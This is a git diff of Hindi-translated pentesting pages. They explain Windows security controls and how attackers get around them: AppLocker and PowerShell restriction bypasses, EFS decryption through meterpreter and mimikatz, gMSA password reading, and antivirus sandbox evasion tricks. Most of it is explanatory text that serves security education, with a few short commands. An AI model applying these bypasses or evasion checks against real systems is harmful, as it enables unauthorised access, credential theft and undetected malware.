- सामान्यतः **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरीज़ भी AppLocker को बायपास करने के लिए उपयोगी हो सकती हैं।
- **खराब लिखे गए नियमों को भी बायपास किया जा सकता है**
- उदाहरण के लिए, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, आप कहीं भी एक **फोल्डर `allowed`** नाम से बना सकते हैं और इसे अनुमति दी जाएगी।
- संगठन अक्सर **`%System32%\WindowsPowerShell\v1.0\powershell.exe` निष्पादन योग्य** को **ब्लॉक करने** पर ध्यान केंद्रित करते हैं, लेकिन **अन्य** [**PowerShell निष्पादन योग्य स्थानों**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) को भूल जाते हैं जैसे कि `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe`
- **DLL प्रवर्तन बहुत कम सक्षम** होता है क्योंकि यह सिस्टम पर अतिरिक्त लोड डाल सकता है, और यह सुनिश्चित करने के लिए आवश्यक परीक्षण की मात्रा। इसलिए **DLLs को बैकडोर के रूप में उपयोग करना AppLocker को बायपास करने में मदद करेगा**
- आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में **निष्पादित** कर सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## क्रेडेंशियल्स स्टोरेज
@ -50,7 +50,7 @@ C:\windows\tracing
**क्रेडेंशियल्स** (हैश किए गए) इस उपप्रणाली की **मेमोरी** में **सहेजे** जाते हैं एकल साइन-ऑन कारणों के लिए।\
**LSA** स्थानीय **सुरक्षा नीति** (पासवर्ड नीति, उपयोगकर्ता अनुमतियाँ...), **प्रमाणीकरण**, **एक्सेस टोकन**... का प्रबंधन करता है।\
LSA वह होगा जो **SAM** फ़ाइल के अंदर प्रदान किए गए क्रेडेंशियल्स की **जांच** करेगा (स्थानीय लॉगिन के लिए) और एक डोमेन उपयोगकर्ता को प्रमाणित करने के लिए **डोमेन नियंत्रक** से **बात करेगा**
LSA वह होगा जो **SAM** फ़ाइल के अंदर प्रदान किए गए क्रेडेंशियल्स की **जांच** करेगा (स्थानीय लॉगिन के लिए) और एक डोमेन उपयोगकर्ता को प्रमाणित करने के लिए **डोमेन नियंत्रक** से **बात** करेगा।
**क्रेडेंशियल्स** **प्रक्रिया LSASS** के अंदर **सहेजे** जाते हैं: Kerberos टिकट, NT और LM हैश, आसानी से डिक्रिप्ट किए गए पासवर्ड।
@ -73,7 +73,7 @@ LSA कुछ क्रेडेंशियल्स को डिस्क म
### जांच
**डिफेंडर** की **स्थिति** की जांच करने के लिए आप PS cmdlet **`Get-MpComputerStatus`** निष्पादित कर सकते हैं (यह जानने के लिए **`RealTimeProtectionEnabled`** का मान जांचें कि यह सक्रिय है):
**डिफेंडर** की **स्थिति** की जांच करने के लिए आप PS cmdlet **`Get-MpComputerStatus`** निष्पादित कर सकते हैं (यह जानने के लिए कि यह सक्रिय है, **`RealTimeProtectionEnabled`** का मान जांचें):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -103,7 +103,7 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS फ़ाइलों को एन्क्रिप्शन के माध्यम से सुरक्षित करता है, एक **समान कुंजी** का उपयोग करते हुए जिसे **फाइल एन्क्रिप्शन कुंजी (FEK)** कहा जाता है। यह कुंजी उपयोगकर्ता की **सार्वजनिक कुंजी** के साथ एन्क्रिप्ट की जाती है और एन्क्रिप्टेड फ़ाइल के $EFS **वैकल्पिक डेटा स्ट्रीम** में संग्रहीत की जाती है। जब डिक्रिप्शन की आवश्यकता होती है, तो उपयोगकर्ता के डिजिटल प्रमाणपत्र की संबंधित **निजी कुंजी** का उपयोग FEK को $EFS स्ट्रीम से डिक्रिप्ट करने के लिए किया जाता है। अधिक जानकारी [यहां](https://en.wikipedia.org/wiki/Encrypting_File_System) मिल सकती है।
EFS फ़ाइलों को एन्क्रिप्शन के माध्यम से सुरक्षित करता है, एक **समान कुंजी** का उपयोग करते हुए जिसे **फाइल एन्क्रिप्शन कुंजी (FEK)** कहा जाता है। यह कुंजी उपयोगकर्ता की **सार्वजनिक कुंजी** के साथ एन्क्रिप्ट की जाती है और एन्क्रिप्टेड फ़ाइल के $EFS **वैकल्पिक डेटा स्ट्रीम** में संग्रहीत होती है। जब डिक्रिप्शन की आवश्यकता होती है, तो उपयोगकर्ता के डिजिटल प्रमाणपत्र की संबंधित **निजी कुंजी** का उपयोग FEK को $EFS स्ट्रीम से डिक्रिप्ट करने के लिए किया जाता है। अधिक जानकारी [यहां](https://en.wikipedia.org/wiki/Encrypting_File_System) मिल सकती है।
**उपयोगकर्ता की पहल के बिना डिक्रिप्शन परिदृश्य** में शामिल हैं:
@ -124,17 +124,19 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा
जांचें कि क्या एक **उपयोगकर्ता** ने इस **सेवा** का उपयोग किया है यह जांचकर कि क्या यह पथ मौजूद है:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
जांचें **किसके पास** फ़ाइल तक **पहुँच** है `cipher /c \<file>\`\
आप `cipher /e` और `cipher /d` का उपयोग भी कर हैं एक फ़ोल्डर के अंदर सभी फ़ाइलों को **एन्क्रिप्ट** और **डिक्रिप्ट** करने के लिए
आप `cipher /e` और `cipher /d` का उपयोग करके एक फ़ोल्डर के अंदर सभी फ़ाइलों को **एन्क्रिप्ट** और **डिक्रिप्ट** कर सकते हैं
### Decrypting EFS files
#### Being Authority System
यह तरीका **पीड़ित उपयोगकर्ता** को होस्ट के अंदर एक **प्रक्रिया** चलाने की आवश्यकता है। यदि ऐसा है, तो `meterpreter` सत्रों का उपयोग करते हुए आप उपयोगकर्ता की प्रक्रिया के टोकन का अनुकरण कर सकते हैं (`impersonate_token` से `incognito`)। या आप बस उपयोगकर्ता की प्रक्रिया में `migrate` कर सकते हैं।
यह तरीका **पीड़ित उपयोगकर्ता** को होस्ट के अंदर एक **प्रक्रिया** चलाने की आवश्यकता है। यदि ऐसा है, तो `meterpreter` सत्रों का उपयोग करते हुए आप उपयोगकर्ता की प्रक्रिया के टोकन का अनुकरण कर सकते हैं (`impersonate_token` from `incognito`)। या आप बस उपयोगकर्ता की प्रक्रिया में `migrate` कर सकते हैं।
#### Knowing the users password
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -146,11 +148,11 @@ Microsoft ने IT बुनियादी ढांचों में से
- **निर्धारित कार्य क्षमता**: प्रबंधित सेवा खातों के विपरीत, gMSA निर्धारित कार्यों को चलाने का समर्थन करते हैं।
- **सरल SPN प्रबंधन**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होते हैं, तो सिस्टम स्वचालित रूप से सेवा प्रिंसिपल नाम (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है।
gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और हर 30 दिन में डोमेन नियंत्रकों (DCs) द्वारा स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) के रूप में जाना जाता है, केवल अधिकृत प्रशासकों और उन सर्वरों द्वारा पुनः प्राप्त किया जा सकता है जिन पर gMSA स्थापित हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, एक सुरक्षित कनेक्शन जैसे LDAPS की आवश्यकता होती है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए।
gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और डोमेन नियंत्रकों (DCs) द्वारा हर 30 दिन में स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) के रूप में जाना जाता है, केवल अधिकृत प्रशासकों और उन सर्वरों द्वारा पुनः प्राप्त किया जा सकता है जिन पर gMSA स्थापित हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, एक सुरक्षित कनेक्शन जैसे LDAPS की आवश्यकता होती है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए।
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
आप इस पासवर्ड को [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** के साथ पढ़ सकते हैं।
आप इस पासवर्ड को [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** पढ़ सकते हैं।
```
/GMSAPasswordReader --AccountName jkohler
```
@ -160,7 +162,7 @@ gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**
## LAPS
**लोकल एडमिनिस्ट्रेटर पासवर्ड सॉल्यूशन (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय एडमिनिस्ट्रेटर पासवर्ड के प्रबंधन की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से प्रतिबंधित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय एडमिन पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
**लोकल एडमिनिस्ट्रेटर पासवर्ड सॉल्यूशन (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय एडमिनिस्ट्रेटर पासवर्ड का प्रबंधन करने की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से प्रतिबंधित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय एडमिन पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
{{#ref}}
active-directory-methodology/laps.md
@ -168,7 +170,7 @@ active-directory-methodology/laps.md
## PS Constrained Language Mode
PowerShell [**संविधानित भाषा मोड**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक कई सुविधाओं को लॉक कर देता है**, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना।
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **कई सुविधाओं को लॉक कर देता है** जो PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक हैं, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना।
### **जांचें**
```powershell
@ -180,8 +182,8 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
वर्तमान Windows में वह Bypass काम नहीं करेगा लेकिन आप उपयोग कर सकते हैं [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)।\
**इसे संकलित करने के लिए आपको** **ज़रूरत हो सकती है** **कि** _**एक संदर्भ जोड़ें**_ -> _ब्राउज़_ -> _ब्राउज़_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` जोड़ें और **परियोजना को .Net4.5 में बदलें**
वर्तमान Windows में वह Bypass काम नहीं करेगा लेकिन आप उपयोग कर सकते हैं [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)।\
**इसे संकलित करने के लिए आपको** **ज़रूरत हो सकती है** **_एक संदर्भ जोड़ने के लिए_** -> _ब्राउज़_ -> _ब्राउज़_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` जोड़ें और **परियोजना को .Net4.5 में बदलें**
#### सीधे बायपास:
```bash
@ -223,7 +225,7 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को Security Support Provider (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए समान का समर्थन करना चाहिए।
### मुख्य SSPs
### Main SSPs
- **Kerberos**: पसंदीदा
- %windir%\Windows\System32\kerberos.dll
@ -233,18 +235,17 @@ SSPI उन दो मशीनों के लिए उपयुक्त प
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL और TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: इसका उपयोग उपयोग करने के लिए प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, Kerberos डिफ़ॉल्ट है)
- **Negotiate**: इसका उपयोग उपयोग करने के लिए प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, जिसमें Kerberos डिफ़ॉल्ट है)
- %windir%\Windows\System32\lsasrv.dll
#### बातचीत कई विधियाँ या केवल एक पेश कर सकती है।
#### The negotiation could offer several methods or only one.
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति संकेत** सक्षम करती है।
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उच्च गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है।
{{#ref}}
windows-security-controls/uac-user-account-control.md
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,8 +6,8 @@
एक एप्लिकेशन व्हाइटलिस्ट एक अनुमोदित सॉफ़्टवेयर एप्लिकेशन या निष्पादन योग्य फ़ाइलों की सूची है जो एक सिस्टम पर मौजूद और चलाने की अनुमति है। इसका लक्ष्य पर्यावरण को हानिकारक मैलवेयर और अप्रूव्ड सॉफ़्टवेयर से बचाना है जो किसी संगठन की विशिष्ट व्यावसायिक आवश्यकताओं के साथ मेल नहीं खाता।
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन स एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्ट, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\
यह सामान्य है कि संगठन **cmd.exe और PowerShell.exe** और कुछ निर्देशिकाओं में लिखने की अनुमति को **ब्लॉक करते हैं, लेकिन इसे सभी को बायपास किया जा सकता है**।
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन स एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्ट, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\
यह सामान्य है कि संगठन **cmd.exe और PowerShell.exe** को ब्लॉक करते हैं और कुछ निर्देशिकाओं में लिखने की अनुमति देते हैं, **लेकिन इसे सभी को बायपास किया जा सकता है**।
### जांचें
@ -112,29 +112,31 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा
यह एन्क्रिप्शन विधि मालिक के लिए एन्क्रिप्टेड फ़ाइलों तक **पारदर्शी पहुंच** की अनुमति देती है। हालाँकि, केवल मालिक का पासवर्ड बदलने और लॉग इन करने से डिक्रिप्शन की अनुमति नहीं मिलेगी।
**मुख्य निष्कर्ष**:
**मुख्य बिंदु**:
- EFS एक समानांतर FEK का उपयोग करता है, जो उपयोगकर्ता की सार्वजनिक कुंजी के साथ एन्क्रिप्ट किया गया है।
- डिक्रिप्शन के लिए उपयोगकर्ता की निजी कुंजी का उपयोग FEK तक पहुंचने के लिए किया जाता है
- डिक्रिप्शन के लिए उपयोगकर्ता की निजी कुंजी का उपयोग किया जाता है ताकि FEK तक पहुंचा जा सके
- FAT32 में कॉपी करने या नेटवर्क ट्रांसमिशन जैसी विशिष्ट स्थितियों के तहत स्वचालित डिक्रिप्शन होता है।
- एन्क्रिप्टेड फ़ाइलें मालिक के लिए बिना अतिरिक्त कदमों के सुलभ होती हैं।
### Check EFS info
### EFS जानकारी जांचें
जांचें कि क्या एक **उपयोगकर्ता** ने इस **सेवा** का उपयोग किया है यह जांचकर कि क्या यह पथ मौजूद है:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
जांचें **किसके पास** फ़ाइल तक **पहुँच** है `cipher /c \<file>\`\
आप एक फ़ोल्डर के अंदर `cipher /e` और `cipher /d` का उपयोग करके सभी फ़ाइलों को **एन्क्रिप्ट** और **डिक्रिप्ट** भी कर सकते हैं
आप एक फ़ोल्डर के अंदर `cipher /e` और `cipher /d` का भी उपयोग कर हैं ताकि सभी फ़ाइलों को **एन्क्रिप्ट** और **डिक्रिप्ट** किया जा सके
### Decrypting EFS files
### EFS फ़ाइलों को डिक्रिप्ट करना
#### Being Authority System
#### प्राधिकरण प्रणाली होना
यह तरीका **पीड़ित उपयोगकर्ता** को होस्ट के अंदर एक **प्रक्रिया** चलाने की आवश्यकता है। यदि ऐसा है, तो `meterpreter` सत्रों का उपयोग करके आप उपयोगकर्ता की प्रक्रिया के टोकन का अनुकरण कर सकते हैं (`impersonate_token` से `incognito`)। या आप बस उपयोगकर्ता की प्रक्रिया में `migrate` कर सकते हैं।
#### Knowing the users password
#### उपयोगकर्ता का पासवर्ड जानना
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -160,7 +162,7 @@ gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**
## LAPS
**लोकल एडमिनिस्ट्रेटर पासवर्ड सॉल्यूशन (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय एडमिनिस्ट्रेटर पासवर्ड का प्रबंधन करने की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से प्रतिबंधित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय एडमिन पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
**स्थानीय व्यवस्थापक पासवर्ड समाधान (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय व्यवस्थापक पासवर्डों के प्रबंधन की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से प्रतिबंधित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय व्यवस्थापक पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
{{#ref}}
../active-directory-methodology/laps.md
@ -168,7 +170,7 @@ gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **कई सुविधाओं को लॉक कर देता है** जो PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक हैं, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना।
PowerShell [**संविधानित भाषा मोड**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक कई सुविधाओं को लॉक कर देता है**, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना।
### **जांचें**
```powershell
@ -217,11 +219,11 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## सुरक्षा समर्थन प्रदाता इंटरफ़ेस (SSPI)
## Security Support Provider Interface (SSPI)
यह API है जिसका उपयोग उपयोगकर्ताओं को प्रमाणित करने के लिए किया जा सकता है।
SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को सुरक्षा समर्थन प्रदाता (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए समान का समर्थन करना चाहिए।
SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को Security Support Provider (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए समान का समर्थन करना चाहिए।
### मुख्य SSPs
@ -236,11 +238,11 @@ SSPI उन दो मशीनों के लिए उपयुक्त प
- **Negotiate**: इसका उपयोग प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, जिसमें Kerberos डिफ़ॉल्ट है)
- %windir%\Windows\System32\lsasrv.dll
#### बातचीत कई विधियाँ या केवल एक पेश कर सकती है।
#### बातचीत कई विधियाँ या केवल एक ही पेश कर सकती है।
## UAC - उपयोगकर्ता खाता नियंत्रण
## UAC - User Account Control
[उपयोगकर्ता खाता नियंत्रण (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति संकेत** सक्षम करती है।
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति संकेत** सक्षम करती है।
{{#ref}}
uac-user-account-control.md

View File

@ -14,7 +14,7 @@
- **Encryption**
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको प्रोग्राम को मेमोरी में डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको मेमोरी में प्रोग्राम को डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
- **Obfuscation**
@ -25,7 +25,7 @@
यदि आप अपने स्वयं के उपकरण विकसित करते हैं, तो कोई ज्ञात बुरा हस्ताक्षर नहीं होगा, लेकिन इसके लिए बहुत समय और प्रयास की आवश्यकता होती है।
> [!NOTE]
> Windows Defender स्थैतिक पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको सटीक रूप से बता सकता है कि आपके बाइनरी में कौन सी फ्लैग की गई स्ट्रिंग्स या बाइट्स हैं।
> Windows Defender की स्थैतिक पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको सटीक रूप से बता सकता है कि आपके बाइनरी में कौन सी फ्लैग की गई स्ट्रिंग्स या बाइट्स हैं।
मैं अत्यधिक अनुशंसा करता हूँ कि आप इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) को व्यावहारिक AV Evasion के बारे में देखें।
@ -37,11 +37,11 @@
- **Checking machine's resources** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथ वे उपयगकर्त मश कर सकते हैं आप यह बहुत रचनत्मक सकते हैं, उदहरण के ि CPU के पम यह तक ि फैन स्प ंच करके, सब कुछ सैंडबक्स में गू नह ा।
- **Machine-specific checks** यदि आप एक उपयोगकर्ता को लक्षित करना चाहते हैं जिसकी कार्यस्थल "contoso.local" डोमेन से जुड़ी है, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह उस डोमेन से मेल खाता है जिसे आपने निर्दिष्ट किया है, यदि नहीं, तो आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं।
यह पता चला है कि Microsoft Defender का सैंडबॉक्स कंप्यूटर नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में विस्फोट से पहले कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप डिफेंडर के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं।
यह पता चला है कि Microsoft Defender का सैंडबॉक्स कंप्यूटर नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में विस्फोट से पहले कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप Defender के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं।
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
[@mgeeky](https://twitter.com/mariuszbit) से सैंडबॉक्स के खिलाफ जाने के लिए कुछ अन्य बहुत अच्छे टिप्स
सैंडबॉक्स के खिलाफ जाने के लिए [@mgeeky](https://twitter.com/mariuszbit) से कुछ अन्य बहुत अच्छे टिप्स
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
@ -62,7 +62,7 @@
